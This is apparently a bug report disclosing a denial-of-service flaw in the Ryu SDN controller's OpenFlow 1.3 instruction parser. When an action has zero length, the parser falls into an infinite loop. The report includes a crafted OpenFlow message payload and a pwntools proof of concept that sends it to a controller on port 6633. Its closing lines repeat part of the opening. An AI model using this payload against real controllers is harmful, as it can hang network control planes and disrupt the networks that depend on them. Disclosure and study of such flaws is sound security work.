in /ryu/ofproto/ofproto_v1_3_parser.py about line=2922
class OFPInstructionActions(OFPInstruction):
...
@classmethod
def parser(cls, buf, offset):
...
try:
while actions_len > 0:
a = OFPAction.parser(buf, offset)
actions.append(a)
actions_len -= a.len
offset += a.len
If OFPAction.len=0,the offset will no longer change and the parsing will fall into an infinite loop.
This message will put ryu into an infinite loop:
payload=b"\x04\x0e\x00\x50\x00\x00\x00\x22\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x04\x00\x00\x00\x00\x00\x04\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfd\xff\xff\x00\x00\x00\x00\x00\x00"
poc:
from pwn import *
p=remote("0.0.0.0",6633)
payload=b"\x04\x0e\x00\x50\x00\x00\x00\x22\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x00\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x04\x00\x00\x00\x00\x00\x04\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xfd\xff\xff\x00\x00\x00\x00\x00\x00"
p.send(payload)
p.interactive()
in /ryu/ofproto/ofproto_v1_3_parser.py about line=2922
If OFPAction.len=0,the offset will no longer change and the parsing will fall into an infinite loop.
This message will put ryu into an infinite loop:
poc: